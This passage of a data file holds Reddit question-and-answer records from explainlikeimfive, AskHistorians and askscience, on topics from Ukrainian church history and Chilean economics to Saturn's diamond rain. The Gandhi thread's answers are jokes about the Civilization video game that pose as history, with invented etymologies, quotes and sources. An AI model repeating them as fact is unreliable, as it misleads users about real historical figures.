church has some questions about its canonicity - at some point in time, when Muscovy gained more influence than whatever was left of Kievan Rus, the chief bishop in Moscow proclaimed himself a patriarch (the highest rank in church hierarchy), and later on, in 1686, proclaimed that he will have the right to appoint chief bishop for Ukrainian part of his patriarchy. As the Constatinople patriarchate was very weak at the time, they agreed to it, but then ruling Constantinople patriarch was lated fired by a gather of other church officials, because it was found that the patriarch was bribed and had no authority to grant permissions for such an act. That part of Moscow patriarchate later became church (3).\n\n(2) was formed in 1989, when Soviet Union entered another period of relaxation of internal politics. This church was founded as split from (3), mostly in western part of Ukraine, where anti-soviet and anti-Moscow sentiment was always strong. This church recognised Constanople as a supreme authority, but other orthodox churches were hesitant to recognise this church. It never had much support and always was a minor church in Ukraine.\n\n(1) was formed in 1992, with another split from (3), basically stating that Moscow has no right to appoint bishops in Kyiv and that Kyiv patriarchate should be reinstated as it was before 1686. This has later become the largest (by attendance) orthodox church in Ukraine. \n\nFast forward to now. The 1686 act was formally repealed, but practically was in use until now. But churches (1) and (2), and some part of (3) have met and decided to unify into one church and petition Constatinople to recognise them. This petition was satisfied, so, canonically there is one new church in Ukraine - Ukrainian Orthodox Church, which is recongnised by Constantinople, and soon may be recognised by other orthodox churches.\n\nNaturally, this does not look well for pro-Russian church, because now they will lose influence and income in Ukraine. Currently Russian Orthodox Church threatens to cease all communication with Ukrainian Orthodox Church and all churches that recognise it. This is likely not a 1054-scale schism, because if and when Russia regime falls, its state-sponsored Russian Orthodox Church will likely resume communications again. But it is also possible that after some time in isolation, Russian Orthodox church will become even more orthodox (or even fundamentalist) and drift so far away in its practices from other churches, that it will be almost impssible to resume communications on the same level again. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3m1hvi", "title": "the deal behind the sovereign military order of malta vs malta the country", "selftext": "When did this start and why? Is the order what you would call a government in exile? Do they want to reclaim the island of Malta for themselves? Where are they currently based and do they have political power if any? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3m1hvi/eli5_the_deal_behind_the_sovereign_military_order/", "answers": {"a_id": ["cvboeyy"], "score": [3], "text": ["I am a member of the OMV, the Order of Malta in the UK.\n\n* Started out as an order dedicated to the defence of pilgrims in the Holy Lands. When the Holy Lands were reclaimed by Muslim forces, the Order settled on Cyprus, then Rhodes, where it built a strong naval force and fought many battles with the Ottoman empire. Rhodes was abandoned and the Order went to Malta. It was sieged for a few months by the Ottomans, but a relief army came, sent by a Spanish king, and the Ottomans were defeated at the battle of Lepanto.\n* Napoleon drove the Order off Malta after they surrended to him. They were homeless for a period, but then were given extra-terratorial status in Rome by the Vatican. Their current territories include both a Palace in Rome, and a small part of a castle in Malta.\n\n* As far as I know, the Order makes no claim to Malta anymore. Less a government in exile than a NGO, like the International Red Cross.\n\n* 13,000 Knights and Dames, or in other words, fledged members of the Order. Over 80,000 permanent volunteers and 20,000 medical personnel. They have a brigade attached to the Italian army composed solely of medical personnel.\n\n* Based in Rome but they have associations all over the world.\n\n\nAny other questions I would love to try and answer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "10rl05", "title": "Is there any evidence FOR Applied Kinesiology?\n", "selftext": "I don't enough about the subject to be honest, but from Google searches, I can't really find any definitive proof one way or the other. Can anyone shed some light on the subject?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10rl05/is_there_any_evidence_for_applied_kinesiology/", "answers": {"a_id": ["c6g17o8"], "score": [3], "text": ["Remember not to cherry pick -  a cardinal sin in science. If you test something enough times with enough variables, you may be able to see some effect but you need to look at the totality of the evidence to get an overall picture. [Relevant xkcd](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://xkcd.com/882/"]]}
{"q_id": "30xzt7", "title": "Is there a historical consensus as to why Gandhi was so obsessed with nuclear warheads?", "selftext": "It just seems so much at odds with his other character traits, especially after the many millennia of peaceful rule.\n\nEDIT: It seems I need to clarify things a bit. \n\nI'm not asking about how the developers of the Civilization games managed to come up with a work-around for this very strange behaviour of real-life Gandhi (in fact the mods have already removed ~~two~~ ~~three~~ ~~four~~ five inappropriate answers). \n\nI'm wondering about the *actual* leader of the Indian civilization.\n\nAlso, Civilopedia is not an acceptable source, people... you know the rules of this sub.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/30xzt7/is_there_a_historical_consensus_as_to_why_gandhi/", "answers": {"a_id": ["cpwyrjm", "cpwyv95", "cpwz0wj", "cpwz10r", "cpx1hrc", "cpx1u8g", "cpx33dg", "cpx5l1f", "cpx9xtf", "cpxiw9h", "cpxjqpj", "cpxmkt1"], "score": [1212, 166, 119, 22, 134, 7, 8, 24, 8, 4, 5, 3], "text": ["I know that this sub does not allow speculation, but I'm having a tough time finding a peer-reviewed source that agrees with me, so *please* correct me if I'm wrong!\n\nMight it be due to the pressures he faced from his people after all those millenia?  He was a pacifist for dozens of centuries while his people were starving and unhappy in their crowded cities.  Genghis Khan's and Alexander the Great's encroachments into his territory probably pushed him over the edge; his people wanted more land to move into, thus forcing him to build up his military might to be greater than theirs. Additionally, Bismarck and Sejong were quickly gaining technological advancements that he could not keep up with.  Surely the pressures made him snap into an all-out retaliation.  It's a classic case of a leader with good intentions becoming violent.\n\nSources:  \n\nGoethe, *The World's Mostest Literate People*\n\nIbn Battuta, *The People With the Pointiest Sticks*\n\nPythagoras, *People Who Like to Smile the Most*", "His birth name was Mohandas Gandhi; the honorific title \"Mahatma\" means \"Lover of Nukes\".\n\nNow, we can argue until the cows come home about whether the title was given to him because of his love of nukes, or whether it was a misinterpretation of a different title that stuck and thus triggered his research and love of nukes.  There's certainly a theory that people with certain distinctive names are more likely to choose a career that's at least superficially related to their name; someone with the surname Hamburger may be more likely to become a chef, someone with the last name Nurse may be more likely to go into medicine, and someone with a title that means \"Lover of Nukes\" may become a hyper-aggressive warlord.", "Gandhi the First, was the the most non aggressive leader of all time. Early in his career, no conditions existed that would cause him to ever act hostile toward his neighbors, even if they were colonizing near his cities. However, something very strange happened to Gandhi the First when he reformed his country and adopted Democracy. Gandhi became the most warlike, aggressive, warmonger-er to ever live. Gandhi declared war on every country in the world and fired ICBMs at every major city. Most people wrongly think that nukes corrupted Gandhi, but in fact he had spent many years as a King sitting on ICBMs for defensive purposed without anyone realizing until he became President.\n\nPsychologists theorize that this has to do with the 255 Principle. Basically, due to the limitations of the human mind, there are only 255 states of aggression. We all know living in a Democracy will lower someone's aggression by about 10, on a scale of 1-255. Psychologists believe Gandhi was born with such low aggression, probably less than 10, that when he started living in Democracy, his aggression actually swung around, having no where to go, but to the 250ish range. Basically, Gandhi was so passive it turned out to be a serious personality flaw latter in life.\n\nGandhi the Second and Third, probably is better asked at  r/theology. But it appears that God has a twisted sense of humor.   ", "I can't source this other than some layman's research through the medium of historical simulation games, but seeing as there aren't any appropriate answers here, I'll give it a shot.\n\n\nIt has entirely to do with India's history under British colonial rule. The Indian subcontinent is (relatively) isolated from the rest of the world by land. The peaks of the Himalayas prevent travel for most land-based units, aside from a few exceptions like the Nepalese, Bhutanan, and Carthaginian civilizations. The eastern border of the subcontinent is made up of thick jungle, difficult to traverse for most units, and the Khemer civilization has always been rather weak. The North western frontier is more porous, as evidenced by repeated invasions, but India's unique \"assimilation\" ability toward civilizations with smaller populations meant that the effects of the influx of nomadic civilizations is relatively minor (the Arab camel archer invasion nonwithstanding).\n\nHowever, India was hideously vulnerable to a naval invasion, and for some reason didn't heavily invest in naval technology. This let the British, Dutch, and Portuguese, whose Ships of the Line, Sea Beggars, and Carracks easily outclassed outdated Indian ships and captured coastal cities. Moreover, the tech bonuses of these civilizations made Indian assimilation bonuses negligible, and India remained a colony of the British (once they destroyed their rivals) for a considerable amount of time.\n\nAlthough Ghandi won independence via nonviolent actions, India just doesn't have the resources to heavily invest in naval technology. Ghandi knows this, and the sea is still really the only frontier on which India is vulnerable. So Ghandi was so obsessed with nuclear weapons because it was the only way that India could threaten nations with naval superiority over India. And this doesn't even touch the issue of Pakistan...", "Gandhi tells us himself... Sort of.  Regarding the Bhagavad Gita, he [said](_URL_0_): \"When doubts haunt me, when disappointments stare me in the face, and I see not one ray of hope on the horizon, I turn to Bhagavad-gita and find a verse to comfort me.\"\n\nThe Bhagavad Gita is a dialogue between Arjuna (the leader of an army) and Krishna (his charioteer, also God in disguise).  Arjuna asks Krishna if the imminent war with his family is the right thing to do.  Krishna answers that it is (although there's slightly more nuance to it than that and it takes about 150 pages).  Then Arjuna fights the Battle of Kurukshetra.  Nearly all warriors on both sides die (around four million), with only a handful of main characters left standing.  The battle itself is not technically part of the Gita, but it forms an important context.\n\nSo to sum up, in times of doubt, Gandhi turned to a text where a national leader asks God if it's alright to slaughter enemies by the millions, while losing millions of his own people in the process. Then he does so.  The question isn't \"why was he obsessed with nukes,\" it's \"why are we still alive to ask?\"\n\nI'm afraid the answer to that goes beyond my expertise.\n\nEdit: you asked about Gandhi's character, and whether it conflicted with his nuclear policy.  While I can't give you a definitive answer, I can tell you that he was far from the only leader to display such a conflict.  Take Isabella of Spain, a devout Roman Catholic who, throughout her life, confessed the Christian faith and advocated, in her writings and especially her biography, the forced Christianization of foreign peoples and the expulsion of the Jews and Muslims.  Despite this, she made Judaism the state religion (with the justification \"Both Christianities are taken and this [Judaism] has the prettiest symbol'\") and even had her diplomats lobby to make it the world religion.  People in her own court lobbied her to \"load down Sons of Abraham and expel the Jews,\" but her only reply was the paradoxical statement \"This is not yes what thou!\" (The enigmatic \"yes what thou\" has come down to us verbatim as \"Si que tu!\").  \"Si que tu\" (or rather an acronym that phonetically sounds like \"si que tu\" when pronounced in English) has since become a rallying cry for advocates of ethnic cleansing, religious violence, political assassination, eugenics, and (strangely enough) sibling marriage.\n\nSo when you get down to it, Gandhi's legacy isn't *that* weird.", "It is important to note that Ghandi himself probably never had his finger on the button. Ghandi's stated personal policies towards revolution and governance were indeed non-violent, but he also was quite clear that he would never stop other people from using violent means to achieve those ends. \n\nBasically I'm willing to bet that Ghandi would just kind of circle an area on a map and go \"Oh well, time to go peacefully starve myself in this backwards degenerate country next door in order to convince them that submission to my enlightened rule is the best option, SURE WOULD BE NICE IF I DIDN'T HAVE TO\" and his subordinates would fall over each other hitting the launch button. ", "He once stated: \"militarism and nuclear weapons are the blood-soaked sign posts of a vanishing era.\" However, a country in a world that was filled with weaponry and militarism would never last. Thus, he believed in order to protect India from the world it may be necessary to be on the same playing field as them, militarily speaking. He wasn't obsessed with nuclear weapons specifically, he was obsessed with protecting the people of his nation.\n\nSource: Wolpert, Stanley A., and Stanley Wolpert. Gandhi's passion: The life and legacy of Mahatma Gandhi. Oxford University Press, 2002.\n\nNaess, Arne. \"Gandhi and the nuclear age.\" (1965).", "Ooh, finally one I'm qualified to answer!\n\nSo, let's recall Gandhi's other traits? What's he known for? He is best known for leading peaceful protests against British rule in India. Gandhi is known for loving peace. Unfortunately, because of warmongers, peace is a rare thing in this world. So, guess what Gandhi hates the most? Yep, that's right. Warmongers. And when people warmonger, he needs to punish them to preserve peace. As many IR theorists will tell you, nuclear weapons are the best deterrent. The fear of having a city obliterated by nukes will scare many leaders into peaceful behavior. The threat of mutually assured destruction has created peace, and reduced the incidence of warfare. However, some civilizations continue to warmonger, throwing caution to the wind. To make sure his threats are credible, Gandhi is forced to nuke these warmongers to restore peace.\n\nAlso, at the risk of breaking the rule against moralizing, Gandhi saw you nuke Japan, Capture Germany's capital, and wipe out the Iroquois entirely, so it's not like you didn't deserve it.", "Well, in short form, ruling an empire for millennia can cause detrimental effects to a ruler's mind. While he started out in 1000 BC as a benevolent ruler who only wanted the best for his people, by 1945 he had become an insane megalomanic bent on world domination after democracy pushed him over the edge.", "Gandhi was deeply affected by his disastrous invasion of backwards and isolated France, which ended when the Third Indian Army, also known as the \"Stack of Doom\", composed of many Tank divisions, was completely destroyed by an French force armed primarily with spears. This convinced the Mahatma that modern weapons were useless even against primitive peoples and that he was unable to protect his people.\n\nGandhi's behavior was increasingly erratic after India's adoption of democracy; it was around that time that the he began making cryptic remarks about \"achieving ultimate peace\" (Meier, 1989). The real meaning of those words was not revealed to the world until the day when the entirety of India's nuclear arsenal was launched simultaneously, in what was later known as \"Gandhi's rage quit\".\n\nThe events in Paris probably played a major part in his decision to usher a nuclear winter. Nonetheless, Gandhi's conclusions are disputed by many military analysts who argue that, however unlikely, Napoleon's victory in Paris was still possible, especially considering the his spearmen were somehow able to adapt their anti-cavalry tactics against modern armor, but that does not change modern weaponry general superiority. This is why the consensus among the (remaining) historians is that Gandhi belongs in the Hall of Shame of history, below even Dan Quayle. \n   ", "I can't back it up, but I believe that Gandhi at some point became so peaceful that he actually lapped the cycle of death, rebirth, goodness and evil, and became a war mongering monster. \n\nHe took Samsara too far man, he took it too far. ", "Ahhh, but you see, it isn't actually at odds with his historical character. Gandhi was a proponent of non-violent resistance, so it seems to me that Nuclear Weapons would be the most effective non violent method of countering the oppression of foreign culture and/or trade routes. Backing his words with the *threat* of nuclear annihilation would cow other rulers to end their aggressive and imperialistic ambitions. It also probably, and reasonably appeared to Gandhi to be an effective way to eliminate threats to global peace. For example, if a warmongering ruler were to initiate violence by invading, resisting the reasonable demand of 3 cities, or allowing a open borders agreement to expire, then this warmongering menace to a peaceful world could be quickly neutralized without extended violence, as nuclear wastelands pose no significant threat to a harmonious coexistence with others."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.bhagavad-gita.us/famous-reflections-on-the-bhagavad-gita/"], [], [], [], [], [], [], []]}
{"q_id": "23ojql", "title": "What were the overall effects of Gen Pinochet's \"Chicago Boys\" on Chile?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/23ojql/what_were_the_overall_effects_of_gen_pinochets/", "answers": {"a_id": ["cgze56h"], "score": [14], "text": ["When Pinochet took over, the Chilean economy was in shambles. It suffered from rampant inflation, a huge budget deficit, and shortages of basic commodities, much of which was due to US sponsored trucker strikes. In order to remedy inflation and correct the Chilean deficit, the \"Chicago Boys\" recommended that Pinochet remove price controls and many other socialist inspired benefits put in place under Allende. In addition to these measures, Pinochet privatized many state corporations with a notable exception of the copper industry which he used to finance the military. \n\nThe effect of all these measures was a decrease in the social safety net and higher unemployment. These measures forced many neighbors to share resources. Women opened up daycares and soup kitchens to help other working families and to try to make a living themselves. These groups formed the first civil society groups that would eventually evolve into the groups that would force Pinochet out of power. \n\nThe \"Chicago Boys\" also advised Pinochet to lower taxes and tariffs in an effort to encourage more foreign direct investment in Chile. These measures were successful in spurring growth throughout the 70s and into the early 80s before the debt crisis struck. The problem with this growth is that it benefited the upper crust of Chilean society more than the poor. \n\nThe final reform Pinochet put in place was land reform in the rural parts of Chile. Before the coup, large landowners owned and operated farms that had peasants on them in similar fashion to the days of the Spanish colonial period. Pinochet changed that by breaking up some of these farms and making them agro-export focused style farms. Since Chile's summer is during the winter of its largest trading partner the US, many agricultural products could be grown in Chile and sent to the US where they would be readily bought and consumed. Many peasants were converted from subsistence farmers to agricultural wage workers. \n\nOverall, Pinochet was able to grow the Chilean economy but this growth did not benefit everyone. Even though Chile became one of the richest countries in Latin America and was admitted into the OECD, it still suffered from rampant inequality. This is a problem that Chileans are still trying to deal with. Most recently President Bachelet has been pushing education reform to make college free to all Chileans. \n\nSources: The Chile Reader: History, Culture, Politics (The Latin America Readers) by Elizabeth Quay Hutchinson\nBuying into the Regime: Grapes and Consumption in Cold War Chile and the United States (American Encounters/Global Interactions) by Heidi Tinsman\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bh1bdv", "title": "How do we know it rains diamonds on saturn?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bh1bdv/how_do_we_know_it_rains_diamonds_on_saturn/", "answers": {"a_id": ["elpnvl9", "elpto8l", "elpz1wq", "elqpj7n", "elrcchy"], "score": [6062, 504, 79, 4, 2], "text": ["Technically we don't \"know\"\n\nWe know\n\n1) The chemical composition of the atmosphere contains a good chunk of methane based on light reflection analysis.\n\n2) We know the mass/volume/density of saturn based on lots of other math and observations.\n\nWe put those together and realize that in certain areas of saturn there is enough pressure/temperature to form diamonds.  These would form for a bit *sorta* like rain/drops and hail do in our atmosphere and then \"rain\"", "by diamonds scientists dont mean large rocks or even small stones. The pressures and composition of the atmosphere is such that nano crystals of diamonds OR graphite might be produced and rained down like a very fine glitter", "While not exactly answering your question (others have) if you find this interesting you may be interested in knowing [55 Cancri e](_URL_0_), a planet twice as wide as earth is made largely up of Diamond. As a result it\u2019s also 8 times more MASS. Crazy.\n\nEDIT: swapped density for mass.. apologies", "Can someone help me wrap my brain around something?\n\nIf Saturn\u2019s density is less than water, does this have an impact on how far (as a ratio of distance) from its core, where pressures/temperatures are high enough where metallic hydrogen can exist, compared to say where this could occur within Jupiter? \n\nOr is it more related to the compositional and/or mass differences between these planets. Something else?\n\nAm I even asking the right question?", "Is it also true that the only way a human being could \u201cexperience\u201d this phenomenon would be through some kind of VR headset connected to an explorer robot? All these planets where one might find fantastic phenomena like \u201cdiamond rain\u201d have gravity, pressure and temperature conditions that are so extreme, we could never really \u201cvisit,\u201d right?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.space.com/18011-super-earth-planet-diamond-world.html"], [], []]}
{"q_id": "atqouo", "title": "How do hormones regulate muscle/cell growth?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/atqouo/how_do_hormones_regulate_musclecell_growth/", "answers": {"a_id": ["eh5vrul"], "score": [2], "text": ["There are several ways that hormones regulate cellular growth. What they do depends on the hormone and how many receptors the cell has for that specific hormone. \nSome hormones allow cells to pass through the check points of the cell cycle which leads to a higher rate of mitosis. \nAnother option is that they form a complex with a promotor or repressor for a certain gene and allow or enhance the expression of that gene. \nThat\u2019s just two simplified examples, there\u2019s far more to hormone activity than that. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5l0ttj", "title": "how are historical items/things/places/whatever 'lost'. king tut's tomb was found in the 1920s. at some point in history, egyptians knew exactly where it was, it was probably the most important thing to any egyptian, then one day they didn't. how does this happen?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5l0ttj/eli5_how_are_historical_itemsthingsplaceswhatever/", "answers": {"a_id": ["dbs3h6b", "dbs3yh5", "dbs5jq0", "dbs5wz7", "dbsc24i", "dbsr5a1"], "score": [40, 8, 18, 74, 6, 2], "text": ["Yep.  The entire point of burying the tomb somewhere in the desert was to prevent thieves from raiding it.  They were deliberately concealed to make it harder to tomb looters to find.  This is part of the reason King Tut's tomb was so valuable - it was literally the only tomb that hadn't already been robbed.\n\nAlso, something to keep in mind is that the Egyptian civilization lasted around 3100 years (if you measure it from Narmer to Cleopatra VII).  That is a *long damn time* and the average person of that period was not exactly renowned for their skills in literacy.\n\nA few more points:\n\n(1) Tut reigned around 1300 BC.  That makes him older than the Trojan War, and people are still arguing over whether *that* was even a real thing.\n\n(2) Tut was not \"the most important thing to any Egyptian.\"  The only reason we remember him today was because his tomb was recovered intact.  Tut was not an important King.  Compared to other pharaohs, he was practically a footnote.  The average Egyptian peasant probably didn't know, or even *care*, who he was or where he was buried.", "Losing a War also has a lot to do with things being lost.  Think how much things were lost in poland by germans...in the caribbean by the spanish....or dutch...or french...in the kingdom of ghana by other neighboring tribes...in north america after columbus....when empires fall or are taken over, things that are precious to them such as tombs or relics are just pottery and graves...basically eithrr trash ir loot....possibly to be gone forever.", "I have no idea where any of America's founding fathers are buried. Why would Egyptians with limited communications and education know or care where one of their kings was buried?  \n\nThe reality is that only a limited number of people knew about an event and a much smaller number of people cared enough to record it.  Moving forward an even smaller number of people stored that info  and very few taught it to future generations. ", "Transfer of knowledge is a fragile thing. Do you know the address of your great-grandparents? If you wanted to ensure your own great-grandchildren would know your medical history, how do you ensure its survivability and retrievability? Literacy needs to be combined with resilient materials. Tombstones last longer than wooden crosses, but even stone erodes to illegibility. And how to convey the location of the stone to a mobile population (now globally)? Songs tend to last, but even they get fuzzy and changed. Carl Sagan sent out the planet's info on a disk made of gold because it doesn't corrode. But first someone's gotta find it, and then they have to understand the writing  &  meaning. My favorite thought exercise is the real problem of warning people for the next 10,000 years not to dig up buried radioactive waste. How can you ever ensure the info will survive that long? (Some of us have documents on 3.25\" floppies in WordStar that can't be retrieved!)", "Not directly related to Tut's tomb, but there is one word that sums it up...\n\nWar.\n\nEmpires transitioning/collapsing/being sacked/etc. was kind of a huge problem back before the printing press was invented. Books (the #1 method of remembering shit until fairly recently) were painstaking, expensive, and extremely time-consuming to make. And even then, with so many scribes that could be working, you have to consider how a massive majority of the industry revolved around printing one thing and really one thing only: religious texts. So, a lot of things that they needed more copies of may have been put on the wayside while they met demand for churches and other important organizations. The fact that the church had a huge control over literature for a long period didn't help with maintaining consistency either.\n\nSo 'alchemy' and chemistry formulas, like the true composition of \"Greek Fire\", blueprints and building secrets, medical procedures, agricultural works, etc. etc. that were handmade, hand-copied, hand-bound, and kept mostly all in one place (large scholarly libraries, which were not very common...) would get lost by fire, theft, smashed into the rubble, or deliberately destroyed in order to keep the information out of the belligerents' hands (which is sort of okay if the guy who wrote or provided for it was still alive, which may not always be true). \n\n", "Adding to what others have said (war etc) I woukd say at some point people stop caring or the ones that do have died. The King Tut rulled a lon long time ago. How many people know an adress for their ancestor from 400 years ago? At some point people decide that whatever piece of information has no relevance to their life and dont bother remembering/ passing it on. At some point there is no one left who remembers. And also some things were ment to be forgotten. The pharos where burried with alot of gold. That could be dug up. Some people didnt like idea of that happening so it could have been a \"secret\". Eventually everyone who knows dies, thus the tomb or whatever else is lost. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "8w6kim", "title": "why is it that when i'm trying to hold it in, the urge to #1/#2 comes in waves and not continuously?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8w6kim/eli5_why_is_it_that_when_im_trying_to_hold_it_in/", "answers": {"a_id": ["e1t4frq"], "score": [2], "text": ["It\u2019s mostly because whenever you feel your bladder pressing, you have an urge to squeeze your PC muscles tightly. This stops the stream, but only temporarily. The waves you feel are your PC muscles loosening from the fatigue caused by holding in your pee for so long. \n\nAs for your bowels, it\u2019s your sphincter muscle doing the same thing. Unless you\u2019re compromised in some way, your muscles won\u2019t loosen completely. Older people have looser muscles which is why they have bowel and urinary incontinence. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1r4e66", "title": "How did early American settlers discover that milk sickness was the caused by white snakeroot?", "selftext": "Wikipedia says thousands of people died from drinking milk or eating meat from animals that ate this root ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1r4e66/how_did_early_american_settlers_discover_that/", "answers": {"a_id": ["cgsvlz1"], "score": [2], "text": ["A Shawnee elder is credited with tipping off Dr. Anna Pierce Hobbs Bixby  about the toxicity of the plant.\n\n_URL_0_ - with sources.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Milk_sickness"]]}
{"q_id": "299wv0", "title": "Have there been examples in history where a police force has been converted to a military force? If so, when and why?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/299wv0/have_there_been_examples_in_history_where_a/", "answers": {"a_id": ["cij12iz"], "score": [8], "text": ["The Japan Self-Defense Forces were once, and still technically are, a police unit.\n\nAfter the end of the second world war, Japan was rapidly demilitarized by the allied (primary US) occupation authorities. The organizational bureaucracy of the pre-war Imperial Japanese Military was disbanded, firearms were collected and destroyed, and any organization associated with military or martial skills was banned. Even the teaching of traditional Japanese Martial arts was outlawed, and the manufacture of Katana was was made illegal. By 1946, Japan was probably the least militaristic society in the world.\n\nFor a nation with such a long martial history, the Japanese put up surprisingly little protest to dismantlement. Much has been written on the subject by greater writers than I (Dower's \"Embracing Defeat\" is a particularly good overview), but suffice to say pacifism rapidly became a central idea in Japanese culture and politics. In 1947 the new Japanese constitution formalized this. As part of Article 9, Japan formally renounced war as a tool of public policy and agreed to never maintain \"land, sea, and air forces, as well as other war potential\".\n\nPronouncements like these meant little to Japan's many criminal gangs, of course. Out of work and disenfranchised, many former soldiers were fell into lives of crime. Allied soldiers were ill-equipped to navigate the complex cultural issues involved with local law enforcement, so domestic police forces were quickly re-established after the occupation began. \n\nFor a time, this is how Japan functioned. Native Japanese police handled local issues, and the allied military handled issues of national significance. But in 1950 North Korea invaded the South, sparking a 3 year conflict that would cost millions of lives. The US was caught totally off guard by this move. After years of post war draw-downs, the US Army was dangerously short of men. To fight off the invading North Koreans, they redeployed virtually every allied solider in Japan to the Korean peninsula.\n\nThat Japanese were understandably rather alarmed at the prospect of being utterly undefended while such a massive war raged a short sea crossing away. With the cooperation of the allied authorities the formed a 75,000 man \"National Police Reserve\". Armed with light infantry weapons, this group would go on to form the nucleus of today's Japan Self-Defense Forces. Also established was the waterborne Coastal Safety Force, a small green water navy.\n\nIn 1952 the allied occupation of Japan formally ended. Also in that year the National Police Reserve and the Coastal Safety Force were compined into the National Safety Forces. The new force was also expanded to 110,000 men. In 1954 it's forces were separated out into the Ground, Air, and Maritime Self Defense forces we see today.\n\nAs part of it's unique legacy, members of the Self Defense Forces' legal status is unlike that most militaries. They are considered civilians, and can resign at any time. This causes all sorts of retention issues, which have continually plagued the JSDF since its foundation.\n\nI hope than answers your question!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4vkwej", "title": "how do bicycle spokes work?", "selftext": "How is it that wire spokes you can wiggle about by hand can hold so much weight?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4vkwej/eli5_how_do_bicycle_spokes_work/", "answers": {"a_id": ["d5z8fpa", "d5z8m87"], "score": [2, 3], "text": ["The weight of the bicycle and rider on the axle pulls down on the upper spokes and distributes the weight across the rim, kind of like a suspension bridge.", "The spokes are under tension, not compression. The wheel hub \"hangs\" from the upper part of the rim via the spokes.\n\nAs you've noticed, a wire (spoke) can be very flexible when not tense, yet still very strong under tension. Consider: two bundles of wires only about 1m in diameter hold up the entire Golden Gate Bridge."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2aldgv", "title": "amazon vs hachette", "selftext": "I haven't followed the story much but I'm an avid reader and kindle user. I'm just not sure what's going on here or what major titles Hachette owns. \n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2aldgv/eli5_amazon_vs_hachette/", "answers": {"a_id": ["ciwgaqh"], "score": [2], "text": ["Nobody knows for sure, the details of the contract dispute are only known to Amazon and Hachette.  The public comments both sides have made are most likely fairly biased towards their own side.\n\nHowever, Hachette is not some small publisher that Amazon is trampling over.  They are owned by Lagard\u00e8re Group, a company with 7 Billion Euros in annual revenue.\n\nAs best I can determine, the root of the dispute is that Hachette wants to charge more for it's e-books.  Amazon wants to charge less, generally preferring to keep e-book prices at 9.99 and under (cheaper ebooks helps Amazon sell Kindle devices and therefore more Amazon content).  \n\nHachette (and its authors) are portraying Amazon as a bully, using the size of its market to retaliate against them by not accepting pre-orders for books, etc.  This may be true, but it seems like a pretty legitimate tactic.  If you are in the middle of a tough negotiation with a supplier it seems reasonable to show them the consequences of not coming to mutually agreeable terms.  Further, the authors themselves are the biggest victims, and under the royalty models that most publishers use the authors will lot lose/gain much due to a change in pricing.\n\n[Hugh Howey](_URL_0_), an independent author who has been very successful self-publishing with Amazon, and is generally disdainful of the traditional publishing model, has written quite a bit about it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.hughhowey.com/"]]}
{"q_id": "1gwb1o", "title": "how do 3-round-burst rifles work? how do they \"know\" to stop firing after the 3rd round?", "selftext": "I know there are no electronics involved, that's what intruiges me.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1gwb1o/eli5_how_do_3roundburst_rifles_work_how_do_they/", "answers": {"a_id": ["caogyvu", "caolqs7"], "score": [3, 3], "text": ["They use a [cam mechanism](_URL_0_). Something along the lines of the animation on that page could be used to fire a 2-round burst by having the trigger make one rotation, for instance.", "Follow up question: what's the point of a 3-round burst? Why not 2 rounds, or 4, or fully auto?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Cam"], []]}
{"q_id": "5tqhky", "title": "Can we do anything interesting with the weak force?", "selftext": "We are pretty good at harnessing electromagnetism to do useful things.  Can we make the weak force do anything interesting or useful?  I don't mean wait around to see randomly occurring beta decays, I mean set up a weak field to harness the force in some way.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5tqhky/can_we_do_anything_interesting_with_the_weak_force/", "answers": {"a_id": ["ddocj5e", "ddop4hn", "ddoqb0g", "ddoqyo7"], "score": [434, 61, 2, 209], "text": ["There have been proposals to use neutrinos for communicating through the Earth or with submarines.", "Anyplace you need strong radioactive sources (radiation therapy, food sterilisation, etc.) you will use the weak force (if it's a beta decay). ", "Obviously it had some promise that made it viable for investment. True, many things don't show enough potential and still get developed. But there's also the case of the jet engine, in the 1920's couple of papers were published that put the viability of the use of turbines for aircraft propulsion in question, as a result the British had very little interest in jet propulsion even until much later.\n\nMy point is, if the first few papers would show some promise the interest in developing the technology would be higher. If there is a little promise, it might not be viable for investors.", "Don't underestimate the power of beta decays. Voyager 1 and 2 spacecrafts that explored the solar system and now interstellar space are powered indirectly by weak force. They put around 13kg of plutonium. The weak force interaction makes beta decay happen and this generates a lot of heat which is 